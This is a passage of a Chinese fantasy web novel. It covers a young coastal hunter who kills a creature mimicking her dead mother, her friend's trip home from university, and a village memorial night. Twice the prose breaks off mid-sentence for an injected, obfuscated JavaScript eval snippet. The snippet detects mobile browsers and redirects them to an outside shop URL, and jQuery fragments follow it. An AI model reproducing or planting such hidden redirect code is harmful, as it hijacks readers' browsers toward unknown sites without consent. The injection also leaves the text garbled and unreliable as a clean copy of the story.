《灾厄饲养员》
2. 黑锚渔村 [猎人月快乐!]
新历439年,11月3日。
第八海岸东段,黑锚渔村。
这地方三面悬崖,一面临海,像被巨物一脚踩出来的坑,整个村子就缩在坑底。
从地理角度看,这里没有像样的淡水层,也没有能种出东西的土。真要赶上一回大涨潮,连房子带地基都得一块儿还给大海。能留在这儿讨生活的,祖上大多两种营生:
渔民,或者是清剿异种的猎人。
万里家是后者。
她家的房子在村东头,位置不算好。一到风季,海风就跟长了牙似的往屋顶上啃,防风铆钉差不多一个月就得换新。但这地方离沉放码头最近,方便父女俩出工。只要清剿队那边的信号一亮,提上风灯,十几分钟就能赶到泊船口。
这间二层小屋是老万一点点修起来的。
外面钉了一层防潮铜片,窗框比村里多数人家厚上一圈,屋顶后半段倾斜,下面是一间工具棚,挂满了吃饭的家伙事。靠墙是一台手摇蒸汽泵,旁边接着铜管和压力表,表盘都裂出蛛网纹了,被能省则省的老万用布胶带胡乱缠上,平时泵一开,整间棚子都跟着晃荡。
屋里的气味也浑浊,铁锈,机油,还有一股终年散不掉的海腥气。
万里从小闻这个味长大,早不觉得难受了。
“叩,叩。”
“我做早饭了,你记得吃。”
突如其来的声音一下把梦境撞碎。
万里睁开眼,门外传来老万离去的脚步,木楼梯被他那双包铁头的工靴踩得吱嘎作响。
她没动,盯着窗外那片乌漆麻黑看了会儿。梦里那片海域的模样还没散干净,可具体梦见什么,她也说不上来了。
楼下又传来一阵铁锅和灶台碰撞的动静。
“听见没有?”老万声音粗哑,高声喊了一句,“给你温着了,凉了别赖我啊!”
“听见了……”万里用如出一辙的哑嗓子回应。
她顶着一脑袋乱毛,从床边的工作台上摸来黄铜油灯点上,昏黄光线洒开,勉强照亮这间狭窄的阁楼小屋。
工作台上平铺着一份第八海岸的海图,被沉放日志压着,旁边是一支有些年头的钢笔。
椅背上搭着旧外套,袖口还有洗不掉的机油印,单人床的床尾是只铁皮衣柜,再没别的了。
万里披上外套,对着那面生了锈斑的挂镜草草捋了两把头发,噔噔下了楼。
这阵子近海清剿刚告一段落,码头那边也没新活,她每天的正事只剩给炉子添煤,再去棚里看看蒸汽泵的阀门,别又被哪块生锈的破片卡死。
清闲,无聊,且毫无前途。
厨房的灶台是老式蒸汽灶,下头连着一只圆肚锅炉,火早灭了,只剩一点余温还烘着锅里的东西。
掀开盖子一看,上层是两块压缩麦饼和一只白煮蛋,下层则是昨晚剩下的灰鳞鱼粥。
“……”
鱼粥表面结了一层薄膜,鱼头煮得眼珠发白,嘴巴半张不张,边上还浮着一圈淡黄油花,稀稀拉拉地贴着锅沿,十分倒胃口。
老万做饭就是这样,熟了能吃,就算完事。
万里到底还是没动那些死不瞑目的灰鳞鱼,沏了一碗茶汤,准备泡麦饼凑合一顿。
“啪嗒”一声轻响,一本杂志顺着门缝底下塞了进来。
是新一期的《启航》。
村里每月都会派人往各家塞一本,订不订的都差不多,反正总会发下来。联邦大概是在用这种法子提醒猎人们:我们还记得你们,只是眼下确实顾不上。
杂志还是老样子,封面印着旧地球的风景照。蓝天,白云,外加一大片金黄麦田,上方印着本月专题:
[11月刊:地球味觉档案]
下面还有一行加粗小字:
[猎人月快乐!]
都不用翻开,万里就知道这一期又是经典老配方。
前半本忆地球峥嵘往昔,后半本畅想人类未来,拳打异种脚踢星盗,中间还夹着名人访谈和大量广告。
只是广告里卖的通常和黑锚渔村没什么关系,不是新款智能净水机,就是恒温织料、飞行通勤票、光都餐厅体验券等等。
她拿着杂志回到桌边坐下,一边嚼麦饼一边往后翻,权当解闷儿。
果然。
前面是几张地球晚期的城市航拍图,剩下的就是专家根据旧数据库复原出来的川菜专题。一整页几乎都被各种红彤彤的图片占满了,最下面配着说明:
[川菜以鲜、香、麻、辣为主要风味特征,层次丰富,复合感强,是旧地球饮食文化中最具代表性的地域菜系之一。“蜀味档案馆”已完成经典菜式复原,即日起开放限时预约体验。订席专线:9527-6320-57X]
再往后就是一些光都的航拍图了。
高楼大厦,霓虹灯光,像一根根发亮的金属骨骼,从地表笔直刺向天空。飞行器掠过城市中轴上空,尾部拖着一面巨大的光幕旗帜,上面滚动着某位巨星巡演的消息。
然后,在一个极不起眼的角落里,没有配图,只有短短一小段话:
“致全体海岸守护者:
值此猎人月开启之际,联邦统帅部谨向所有撑过杀戮月、生还至今的一线猎人致以最高敬意。愿这个难得平静的十一月,能让生者稍得休整,也让亡者得以安息。
文明永存,守望无声。”
万里面无表情,翻页的速度越来越快。
虽然这种落差她早习惯了,但每回看见,还是忍不住想骂。
明明大家的祖宗是搭着同一艘火种号离开地球的,却偏偏同船不同命。
光都如今头也不回地迈进了后人类时代,反观这边,还困在一个锈迹斑斑的旧工业世纪里,老老实实给人家看大门,烧锅炉。烧得天都黑了,好好的弗尔迦什城,硬是被叫成了“灰都”。
说是维多利亚时期都算抬举,因为这里没有蓬蓬裙,也没有贵族绅士,更没有什么歌剧院。
幼年时的万里曾不止一次地追问,老万总是会耐心解答:
“能几把为啥?刚落地那阵都去忙着建设了,这个星球原生种又太多,总得有人去管不是?”
其实渔村的人不太会说“原生种”这个词,那是光都人和清剿文书上的写法,村民更习惯叫那些东西为“异种”。
那时候老老万还活着,但身体大不如前了,听见这个话题总是会扯过孙女,语重心长地胡咧咧:
“人类都是自私卑鄙的,自诩文明的种族总能给殖民行为找到一个合理的借口,可以是带来文明,也可以是保护资源……”
在小万里眼中,她爷这就属于绝症了。媳妇、儿媳妇都死在异种手里,这老不死的还在替凶手找台阶,仿佛他不是受害者一样。
往往这时老万都会把万里拉走,生怕闺女也沾染上父亲的矫情。
“人类必须狠心,”他说,“不狠心全死这儿了,火种号航行了四个半世纪,不是来跟这群原生种交朋友的……咱们想过日子,想延续,就得殖民。”
“别听你爷撺掇,全人类那点多余的心软,都长他一个人身上了。没办法,家门不幸……”
话没说完,一根拐杖精准地飞过来,敲在老万的脑门上。
万里勾了勾唇角,翻页的手始终没停。
人类初到这里时,也尝试过与原住民沟通,历史书上写着:
[新历元年2月,异种袭击联邦特使团,首席谈判官及随行人员全员罹难。联邦被迫宣布进入战时状态,展开全面自卫反击。]
简而言之,就是对方先动的手,人类被迫还击罢了。
但按照老老万的说法——
“那帮人先抓了人家的孩子做切片,又砍了那片孵化林。谁不知道那是原生种下崽的地方?这跟刨人家祖坟有什么区别……不狠狠干你才有鬼了。”
自那以后,两边才算彻底没了转圜,不死不休。
这里的异种确实凶悍,但凶悍不等于难对付。
面对人类手里的激光阵列和定向爆破装置,这群脑仁只有指肚大的原住民,本质上不过是一批灵活的靶子。三十年不到,陆地上的异种就被清剿得七七八八,剩下那些,也只能被迫退回海里。
好好的陆生种,硬是让人类给挤兑成了两栖的。
平心而论,这是个相当顽强的物种。换了别的生物,栖息地被连根拔起,多半也就灭绝了。可它们没有,退进海里之后照样活得很好,还会毫无征兆地摸进村庄,拖走落单的人,也会在近海伏击沉放船。
时间一久,人类也懒得再提什么共存,理解,剩下的无非一件事——
杀。
可海岸线太长,异种太多,正规军也有正规军的去处,不可能把整套人手都耗在这里。于是猎人这个多少有些寒碜的边防军种,就这么诞生了。
万家也不是一直就待在黑锚渔村的。
老老万早年在光都做官,职位不低,就是那张嘴实在没个把门的,得罪了人,才被联邦以明升暗降的方式流放到了这里,官衔倒是响亮:
第八海岸驻防司令。
听着像封疆大吏,实际上,不过是把一个在军部里见谁怼谁的老疯子,打发到海边来跟异种对骂。
甚至老老万刚走,灵堂还没拆,新的委任状就到了。说什么“前衔续存,现职补入”,象征着司令职权的徽章被别到老万肩上。
你看,平时对着猎人们声泪俱下,感恩戴德,可一旦涉及人事调动,为了不被派到这鬼地方,那帮狗日的竟活生生逼着联邦,把一个军事长官的职位搞成封建世袭制。
宁可让出去,也绝不弄脏自己那挺括的制服。
万里觉得,文明发展到这个份上也算有始有终,不光审美是个轮回,天杀的,就连制度都是。
她那时还小,看着那枚司令徽章,一边哭一边骂那帮人不是东西,明明她都考上云都的高中了,临门一脚,硬是叫这枚徽章给扣在了黑锚渔村。
反倒是老万过来安慰她:“行了,等我一死,这个肩章就是你的。”
于是万里哭得更凶。
杂志继续往后翻,上面说预计未来三年,第八海岸沿线将增设五座中型信号塔,以进一步改善偏远区域通信条件。
万里对这些大饼不抱任何期待,反正村西头那座小型信号塔已经孤零零站了二十年。都快被海风腐蚀成铁渣了,也没等来第二座信号塔跟它做伴。
杂志最后是一篇长文:《火种号:离开地球之后》
文章开头先说地球是怎么坏掉的,再说火种号是怎么起飞的,中间穿插几张老照片和几段幸存者回忆录,最后再用一种很体面的口吻告诉读者:
“这是人类文明脱离故土、迈向群星的决定性一步。尽管代价巨大,但我们最终仍在新世界站稳了脚跟。”
万里看了片刻,把冷掉的茶汤一口喝尽。
在她看来,这话也不能说是错的。只是那决定性的一步迈出去以后,后面的路,跟新纪元没多大关系,人类更像是没完没了地活下去——
进食、喘气、不要灭绝,仅此而已。
“叩,叩……叩叩叩。”
门外忽然响起两长三短的敲门声,紧接着,一道女声响起:
“万里,你爸走得急,码头那边又来东西了,喊你过去搭把手。”
撕麦饼的手一顿,万里随手把剩下半块往桌上一扔,起身去开门。
门外的金发女人三十出头,身上那件外套和万里身上这件如出一辙,袖口洗不掉的机油甚至都一样。她手里拎着一只空布袋,像是从哪家借完东西回来。
是妈妈,至少看上去是。
万里九岁那年,同样是在猎人月。那夜海底异动,异种们趁机顶翻了沉放船。一半的猎人游了回来,另一半连同眼前这个金发女人,一起留在了那片海里。
“妈妈”见女儿不说话,笑了笑:“睡懵了?”
万里也跟着笑。
“嗯,昨晚熬夜写沉放日志来着。”她说。
金发女人亲了亲她的额头,动作自然得几乎让万里有些恍惚。
“吃完了吧?跟我走,码头那边催呢。”
“行,等我一会儿。”
万里转身回屋,顺手把桌上的小餐刀别进后腰,半块麦饼塞进嘴里,拍拍手,就跟着女人出了门。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483274|201872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
外头天光微亮,女人的金发被海风吹起,掠过万里的脸。她忽然发觉,自己已经和记忆里的妈妈一样高了。
这星球上还记得女人的活物没几个。
那些旧照片早烂没了,万里又继承了老万那点不太争气的记性,有时她甚至觉得,再过些年,那片金发是什么颜色,她都未必说得清。
可这些回声异种偏偏记得,仅仅是因为它们吃过妈妈的血肉。某种意义上,这种记住的方式比人脑可靠,但万里认为这种可靠还是烂在海底比较好。
“你现在很警醒,刀不离身。”女人的目光落在那把小餐刀上。
“凑合吧。”那块麦饼还在万里嘴里磨着,声音含含糊糊的。
黑锚渔村仍旧安静,偶尔有早起的村民看见她们母女俩,抬手打声招呼,视线在金发女人脸上停一下,又很快若无其事地移开。
一路上女人都在说话。说今早风不算大,码头那边好像来了条新船,说老万走得匆忙,锅里那鱼粥怕是又煮老了。万里偶尔应一声,也不着急,甚至希望这条路再长一些。
可惜黑锚渔村实在太小,只用了半个小时,二人就到了村南那座废弃的风泵附近。
铁架子底下散着防腐袋和剔骨刀,地上有一层洗不掉的污垢,猎人们处理回声异种时都往这里来,没人规定过,就这么默认了。
万里停下脚步。
女人回头看她:“怎么了?”
“差不多了。”
“什么差不多了?”
“我是说,”万里看着对方,语气甚至温柔,“你学得挺像的,比前几只都像。”
话音未落,刀已经握在手里。
万里速度极快,那把小餐刀斜着切进女人脖颈,从耳根下方一路朝前送。女人目光依旧温和,哪怕整个喉道已经断开,身体因为剧痛不住地抽搐,那张脸还是笑着的。
她一手按住回声异种的肩膀,另一手往外一拉,刀口豁开。脖子里的灰白组织鼓了出来,没有鲜血,只有一团团发亮的胶质顺着伤口往外翻。
拟态人皮慢慢皱起,然后松脱,露出底下的软骨。眼珠失去了支撑,从眼眶里慢慢流到地上,表面还蒙着一层灰膜。
回声异种想伸手去捡,只是抽搐了几下就不动了。等那层拟态皮彻底扁塌下去,万里才拔出餐刀。
风从废风泵的铁架间穿过,吹来一股锈味。
她蹲下去,餐刀重新对准锁骨后侧。
回声异种本体死了,腔子里的回声囊还活着,搬运途中稍微受到挤压,就会发出动静。
猎人们还好,只是村里的老渔民最忌讳这个。
万里拿刀尖拨开那团灰白湿肉,伸手进去狠狠一拽,一个半透明,拳头大小的肉团掉出来。
刚一离开胸腔,回声囊忽然动了。里面传出一道声音,遥远沉闷,像被很深很深的海水泡过,又被风从海底捎了出来。
“妈妈爱你……”
握刀的手停了一瞬,但也只有一瞬。
下一秒,万里狠狠一脚跺了下去。
回声囊一下子裂开,组织液溅了一地,旁边几块碎石被腐蚀得冒起白烟。
处理完回声囊,万里又把那层拟态皮剥下来,单独装进防腐袋,软骨和灰白色的胶质则归到另一只收纳袋里。等这些都做完,地上剩下的,就只是一具普通的异骸了。
按清剿手册上的标准流程,普通异骸不需要额外处置,直接拖去沉放码头,绑坠下海。
万里找来一条拖索,套住异骸的脚踝,拽起来就往码头方向走。
这东西彻底死透以后,四肢开始回缩,胸腹也一点点塌成一团,拖起来毫不费力。路上的石子和碎铁片不时刮下一点灰白肉屑,落在地上像雪。
.
码头比村里热闹许多。
两条沉放船的甲板上摞得满满当当,全是异骸,形状颜色各异,血水和黏液沿着甲板缝往下淌,把船身染出一道道污痕。
老万正与登记员帕尔默聊天,见他朝着自己身后努嘴,扭头一看:
“这玩意儿又去找你了?”
“嗯。”
万里应了一声,拖着异骸走到船尾,把钩索和滑轮扣了上去,那只装着拟态皮的防腐袋则扔到帕尔默脚底下。
“倒霉孩子,见了人也不知道叫一声。”老万冲着闺女的背影喊。
帕尔默一低头,发现防腐袋没有扎紧,露出里头一缕湿漉漉的金发。
“莉诺也这样,青春期么。”他若无其事地把袋子踢远了些,翻开随身小册子,低头记了一笔。
“T3级回声异种,拟态皮一张,赏金一千……”帕尔默边写边嘀咕,“嚯!满打满算,万里今年的赏金快有七十万了。”
“多少?”老万一把夺过册子。
上面属于万里的记录足足有十几页,满满当当的,粗略一扫,甚至还有一条写着:T1级,利维坦角膜一片。[1]
帕尔默在旁边瞧着,有些阴阳怪气:“你今年倒轻省,活儿全让万里代劳了。行啊,官威都耍到自家人身上了……”
册子一合,老万也说不清心里是个什么滋味,最后清清嗓子,摆出一副理所当然的样子:
“哪有亲自清剿异种的司令?叫别的海岸知道了,我的面子还要不要?”
“快得了吧,就那不值钱的东西,掉地上都没人捡。”
“……”
船离岸后,海风一下重了起来。到了固定沉放带附近,海水的颜色透着一种不太干净的锈红。
这里水流急,底下还有多年积出来的生物分解层。处理过的异骸从这里下去,通常不会浮起,也不容易被冲回岸边。
万里站在船舷旁,看着那具回声异种被帕尔默拖到甲板边。
它现在彻底不像人了。
胸腔敞着,锁骨后空了一块,皮被剥掉,喉道也烂了,只剩四肢末端还留着一点模糊的拟态痕迹。
她过去抬腿就是一脚。
“扑通。”
异骸翻出船舷,连着绳索和铁坠一同掉下去。
锈红色的海面翻涌,气泡从水面顶破,一个接一个散开,很快就恢复了原样。
3. 薇斯珀海峡
云都。
卢曼文理学院放寒假了,伦理与政治思想系的大一新生们蠢蠢欲动起来。
这帮平时张口“秩序”闭口“正义”的半大孩子们,终于把目光从课业里拔出来,三三两两凑在一起,讨论假期该去哪儿挥霍他们过剩的精力与家底。
说来说去,薇斯珀海峡是出现频率最高的答案。
这地方在云都最北端,东面正对着灰都的西部工业区。只不过二者的景色一天一地:
云都这边是高崖、白瀑、冷雾,和终年不散的蓝;灰都那边则浓烟滚滚、暴土扬尘,外加一刻不停的锅炉轰鸣。
哪怕是八十分的风景,在那团烟尘的衬托下,也能硬生生拔到满分。
去年《泰拉地理》做过一期年度封面,拍的就是冬季的薇斯珀海峡。镜头从高空切下去,阿尔岬高台悬在千尺绝壁上,下面是雾、海、黑礁和一道道白色的巨浪,配文是“此生必去之险境”。
那期杂志一出,阿尔岬立刻成了年轻人心里的极限运动圣地。崖降、滑索、风翼跳台,项目一个比一个不要命。尤其是那些平时闲得浑身刺挠的小情侣,总觉得非得绑在一起,跳过一回阿尔岬,才算圆满。
当然,以上都不是这群学生真正感兴趣的。
主要是薇斯珀海峡离联邦军事学院很近。
换句话说——
主要是薇斯珀海峡离一群制服笔挺,脸也很会长的预备士官们很近。
在这个荷尔蒙过剩的年纪,比起地质构造,卢曼这群颜控文科生们,更热衷于去欣赏那些筋骨隆盛,血气方刚的年轻躯体。
“听说周末军事学院那边有飞行系拉练。”
“去吧去吧,反正现在水面也太平了。”
“阿尔岬那边不是还新开了一条崖降线吗?”
“我不崖降,我就想去看人。”
前排几个男男女女已经笑成一团,后排也有人跟着起哄,教室里的气氛比开学那天还热闹。
但莉诺·贝克显然没这个打算。
她正盯着教室上方的计时器,两眼放空。
学生们聊得热火朝天,讲台上那位秃顶导师也低着脑袋加入讨论,脑门亮得相当有存在感,甚至发出一束反光,把正在发呆的莉诺刺了一下,令她不得不从放空状态里回神。
盯着那片光亮,莉诺觉得,无论技术发展到什么阶段,有些问题就是解决不了,大自然自有它的道理,秃顶大约是其中之一。
16:00。
铃声一响,莉诺立刻开始收书。
她订了今晚回灰都的空艇,八点前必须赶到环空港,没工夫陪这帮闲人海峡观景。
终端、教材、外套、唇膏……一样样往包里塞,动作极快,仿佛这地方下一秒就要被异种攻陷。
“你去不去?别装死。”梅洛格从右边拽住她,满脸写着“你不合群”。
“不去。”莉诺把最后一本书硬塞进去,拉链一拉,“祝你们玩得愉快,我假期有约了。”
左边的潘茜立刻转过头来,眼睛亮得很不体面:“有约?男朋友?怎么没听你说过?”
两个女孩对上眼神,齐齐往中间一挤,把莉诺夹在中间,几乎贴着她的脸问:
“帅不帅?”
“……”
莉诺认真地在脑子里过了一遍好友的样子。
短发黑眸,眼尾略上挑,平时很好说话,一上工就变了。往沉放码头一站,锐利得如同出鞘小刀,就连海风都得给她让路。
不管是灰都还是云都,反正莉诺再没见过比万里更厉害的同龄人。
“帅。”她郑重其事地点点头,“比军事学院那帮人还像样。”
附近安静了一瞬。
后排一个男生笑出了声。
“是拿鱼叉的姿势比他们像样吗?”
顿时有人低笑,也有人皱了皱眉。
“闭上你的臭嘴!”梅洛格脸色沉下来,扭头就骂,“你家不过是在光都替议员办公室跑资源申报的,还轮不到你在这儿给别人划分三六九等。”
德伦脸上有点挂不住,耸了耸肩,嘴还硬着:“玩笑而已。”
莉诺的渔民户口在同学之间不算秘密。
她是地方特招上来的,联邦每年总要从边远地区拎几张像样的成绩单出来,以证明教育公平并非全靠宣传部撑着。至于这些人进来以后,会不会被放在教室里当稀有物种围观,那就没人管了。
梅洛格还想再骂,莉诺却伸手拦了她一下,偏头给了她一个眼神,意思是自己能处理。
“没错,就是叉鱼。”莉诺把死沉的背包往德伦桌上一放,“她叉过最大的鱼,学名利维坦,四十多吨,下颌骨锯开了,差不多能塞下你们一家三口。”
德伦愣了一下。
莉诺把包拽了个方向,拎起侧边那根粗皮绳挂着的鳞片,朝他晃了晃。
“看见没有?”她不太熟练地放着狠话,“少惹我,除非你觉得你身上这层‘鳞’,比它更结实。”
后面几排彻底安静了。
然后就有人不信邪地凑上来,弯腰盯着那片挂饰细看。
云都学府扎堆,在大学生集市上卖异种鳞片仿制品的摊子不少,做得也像,大多都是表面涂了层珠光漆,远看亮闪闪的,权当个挂件,也没人会细看这个。
可莉诺包上挂的这片,跟那些仿制品确实不太一样。
仿制品的边缘规整,表面光滑,摸着像瓷器。而这片是磨损的,边沿崩裂,指甲一刮甚至还有碎屑,鳞面有细密的纵向纹理,是角质自然生长的痕迹。
最重要的是——
仿制品都是偏蓝偏绿,显色好看,卖得快,而这片是不起眼的铁青灰,只有光线变化时会泛出一层暗金,带着一股说不清来路的压迫感。
德伦盯着看了半天,嘴还是硬的:“像你这种从沿海低地出来的,挂这些东西也不奇怪。”
“是不奇怪。”莉诺重新系好鳞片,居高临下地看着这位家境优渥的男同学,“因为我本来就是渔民的孩子,看不惯我就去死。”
说完起身就走,死沉的背包在空中划出一道相当完美的弧线,“当”地一下砸在德伦头上,成功把梅洛格逗笑了。
“你……!”捂着突然受击的脑瓜子,德伦气得舌头打结,“你,你……”
棕发女孩头也没回。
“哦老师——”潘茜立刻捏着嗓子,十分夸张地学德伦刚才那副腔调,“老师,快来救救他吧——”
“走了潘茜,”梅洛格一把拉住好友,“蜀味档案馆订的桌要过点了。”
冲着德伦又做了个鬼脸,两个女孩手挽手出去了。
.
空艇起飞前一分钟,莉诺拖着五只行李箱冲上廊桥,连滚带爬地挤进了这艘椭圆形的飞行器。
她找了个靠窗的位置坐下,喘匀了气,在心里把德伦骂了个痛快。如果他没作妖,自己绝对能提前十分钟抵达,至于在寝室里整整画了一个小时的妆这件事,莉诺选择忽视。
舱内灯光转成柔和的蓝白色,广播跟着响起:
“各位乘客,欢迎搭乘本次由涅斐利亚环空港,飞往弗尔迦什沿海低地的民用空艇。受沿线海域原生种活动等级限制,本次航程将采用限速静航模式。预计抵达时间为23时40分,请各位系好安全带,关闭外置扬声设备,保持舱内安静,谢谢配合。”
莉诺往外看了一眼,窗外还是那片灰白,跟来时没什么区别。
云都和另外三个城市都不接壤,陆路是断的。
光都的孩子大多都有个人飞行器,想回去抬脚就走,又安静又快,还惊动不了海里的异种。
只是离得远的孩子回家就麻烦了,尤其当这个“家”位于第八海岸时,这种行为就不能简单叫回家,更像是一次耗时漫长的迁徙。
空艇贴着云层爬升,薇斯珀海峡一点点出现在视野里,蓝得像P过,最高处的阿尔岬像一片骨头,插在悬崖尽头。
整艘空艇起飞时的动静不算大,低低的,闷闷的,让莉诺想起万屹那个老鳏夫,酒后跟她爹的哭诉。难听倒不至于,就是莫名有点心酸。
.
“……各位乘客,本次航班即将抵达,当地时间23时37分,气温9℃,请注
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483275|201872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意保暖……”
莉诺再睁开眼,舷窗外已经黑透了。
云层一点点往上退,路灯终于从这片漆黑的夜里浮出来,细细长长地立在平台上,越看越亲切。
海阔平台到了。
这趟乘客不少,廊桥上挤着大包小包的人,莉诺拖着她的五只箱子随人流往外走,将近十分钟,才从接驳区的闸口里挤了出来。
等在外面的帕尔默,一眼找到了他的讨债鬼,倒不是什么父女情深,而是莉诺实在太扎眼了,想不看见也难。
才一个学期没见,这孩子身上又长了好些新零件。
一头五颜六色的编发,耳骨上各两排耳钉,下唇正中钉了颗银珠,领口故意拉低,露出一条顺着锁骨走的纹身,像星图,也有可能是被人忽悠了,随便给她划了几道。
帕尔默没说什么,主动拎起莉诺手里的行李箱,却被里头的重量偷袭了一把。
“你这里面装石头了?”
“衣服、零食、书,还有一点点人生理想。”莉诺很坦然,“主要是书重。”
帕尔默明显没信,又去看剩下那几只箱子:“这些也都是书?”
“有些是纪念品。”
“纪念什么?”
“纪念咱们都还活着?”
“……”
站外停着一辆有些年头的柴油三轮车。
帕尔默把箱子码进后斗,俯身去摇发动机,第三下,一股黑烟从排气管里轰出来,引擎发出钉子划过铁板的刺耳吼叫,随后变为低沉的突突声。
车内是诡异的寂静。
对着混混似的女儿,帕尔默实在不敢多问。他想不通这短短一学期里发生了什么,但他深知这个年纪的孩子最是敏感难伺候,斟酌了许久才开口:
“你那专业……这些窟窿眼儿,不影响吧?”
“现在才想起来问啊?放心吧。”莉诺往后一靠,懒洋洋地说,“影响不了。”
帕尔默摸摸鼻子,没接话。
当初填报志愿的时候,这孩子跟中邪了一样非要填伦理与政治思想系,说她的梦想是成为一名外交官。
帕尔默当时很犯愁,外交官当是能当,可问题在于:
跟谁外交?
整个泰拉星,除了人类就只剩下异种了,哦,外头还有一帮虎视眈眈的星盗。如果联邦哪天真能和他们坐下来谈判,那多半也是因为打不过。
除此之外,在更远的安塔列因超星域,倒确实还存在另一个文明。只是军方这些年收到的信号一直零零碎碎,除了知道对面八成是虫子,别的几乎一无所知。
在没摸清对方态度以前,人类当然不敢贸然打招呼。谁知道人家发展到了什么阶段。对明显比自己强的东西,联邦一向很识时务,干脆安静如鸡。
“到了卢曼以后我才发现……”莉诺盯着远处那些一闪一闪的沿海小灯,声音也慢了下来,“那地方本来就是给不急着找饭碗的二代们念的。”
她进学校第一个月就看明白了。
联邦里压根没有正经意义上的外交官,也没真打算设立这么一个部门。至于学院宣传册上那些听起来很像那么回事的“公共事务协调”、“跨区域协商框架”、“文明接触理论储备”,说白了也就跟“先学着吧,万一哪天用上了呢”差不多。
真要往历史上捯,唯一能算外交官的那批人,还是第一次跟异种接触时派出去的特使团。全尸都没能留下,名字整整齐齐躺进了历史书,成了里头很短的一截。
“当初填联邦音乐学院就好了。”莉诺感叹。
“……”那还不如卢曼呢!
帕尔默盯着前面那点发黄的车屁股灯,好一会儿才开口:
“没事儿,长了见识就不亏。”
车窗外,沿海低地的灯光稀稀落落地往后退,三轮车越往前开,海腥气就越重。
莉诺深吸一口,胸口那点浮着的东西总算慢慢落回了原处。云都太干净,也太高了,连风都像是被滤网筛过一遍的。还是这种烂泥和铁锈混出来的味道更适合她,闻着就踏实。
看吧,她就是没有富贵命。莉诺想。
4. 霜葡酒
傍晚,沉放码头烟雾缭绕。
人们拎着铁皮桶,纷纷聚在岸边,手里的黄纸钱一沓沓往火里扔,橘红色的火光照亮了每一张思念挚爱亲朋的脸庞。
大家的声音都不高,或者只是觉得跟死人说的话,不必让活人都听见。念叨的也都是一些家长里短:
什么今年的鱼不太好打。什么保佑孩子明年的升学考试顺利。还有的人什么都不说,只盯着火看,偶尔往里添些黄纸。
“我当初就该和永恩一起死在海里!也好过现在做个没有手的瘸子!连自杀都困难,废物,废物啊废物!!”
一个胡子拉碴、满头白发的老人坐在轮椅上,对着不远处的海面破口大骂。肩膀处勒着一道皮带,将他牢牢固定在椅背上,以防他在情绪激动下乱动,连人带椅子出溜进海里。毕竟有先例在。
这位老头叫杨丰,住在帕尔默家隔壁,平时和蔼极了,见谁都笑,只有这一天例外。
那场海底异动过去多少年了,黑锚渔村失去挚爱的人不在少数,但杨老头是最疯的那个。大约是因为他活下来的方式太过难堪:只剩一截身板,连喝水都得靠帕尔默喂。这口气没处撒,就只好每年借着这个晚上,骂个干净。
杨丰挣得厉害,皮带扣一下下擦过轮椅扶手,铛铛直响,也不知这老登哪来的牛劲。万屹实在嫌他吵,走过去把轮椅一拧,调转方向,照着轮子就是一脚。
轮椅慢悠悠往陆地上去了,风中隐约传来杨老头不依不饶的叫骂,越来越远。
“就多余带他出来。”万屹又往铁皮桶里加了一份纸钱,火苗蹿得老高。
当年那晚海底异动,杨老头也在场。
一米八的个子,被异种啃得只剩一米了,也不知道怎么活下来的。帕尔默偶尔会过去照顾,每次回来都得唏嘘半天,跟万屹说,这老头儿浑身上下最长的地方,莫过于男人那点玩意儿了。
现在一看,万屹觉得帕尔默大错特错,那老头儿身上最长的分明是那条舌头,忒能叨叨。
“万里,给。”
莉诺将一筐折好的纸元宝递过来,自己留了一只,捧在手里,对着铁皮桶闭上眼,神情虔诚:
尤利娅阿姨,我是莉诺,万里最好的朋友。学校有个叫德伦的讨厌鬼,总是欺负人,您要是有空,就替我教训教训他……
完事手一松,那只纸元宝落入铁皮桶,瞬间被火苗吞没。
万里蹲在旁边,手里的烧火棍有一下没一下地拨着。
纸钱烧起来有股焦糊味,倒不难闻。伴着桶里的火苗,万里甚至觉得有些舒服。只是那些纸灰总到处乱飘,蹭上衣服就是一道黑印子,很难洗掉。
看着蜿蜒而上的白烟,她也说不准这些纸钱妈妈到底收不收得到。毕竟妈妈不是古华夏人,如果按她们东正教会的规矩,其实点两根蜡烛,念一段祷词就算完事了。
而码头上这么做的人家也不在少数。
石墩子上稀稀疏疏插着蜡烛,也不知谁家的大聪明还点了两根红的,烛火倒映在海面上,像谁在水底也点了一排。
烧到最后,万屹手里只剩一沓纸钱,看了看父母的铁皮桶,又看了看媳妇儿的,想都没想,把整沓都塞给了后者。
“怕您二老手松,钱到了那边又乱花。”他低声说,“还是让尤利娅管钱吧,我放心。”
一旁的帕尔默听得直摇头。偏心眼子就说偏心眼子的,扯什么乱花……真是个不怕天打雷劈的玩意儿。
天彻底黑了。
泊船口那边的防风灯一盏盏次第亮起,紧接着瞭望塔上响起一道哨声,意思是:该回家了。
虽说猎人月海面太平,异种们也大多回去下崽子了,可保不齐就有那种冲业绩的来搞偷袭,夜晚的海边总归不是久留之地。
“走吧,都去我家吃饭。”帕尔默弯腰提起铁皮桶,顺手掸掉底部的灰,“多琳娜炖了海蘑菇雪蟹汤,还烤了奶油贝肉。”
“还有我从云都带回来的霜葡酒!”莉诺接了句。
一听见酒,万屹笑得眼都快没了,跟帕尔默勾肩搭背地走到杨丰跟前,推上仍在骂骂咧咧的老头儿,大步流星朝西边去了。
万里还蹲在原地,等桶里的火星全灭了,她将铁皮桶倒扣,轻磕两下。
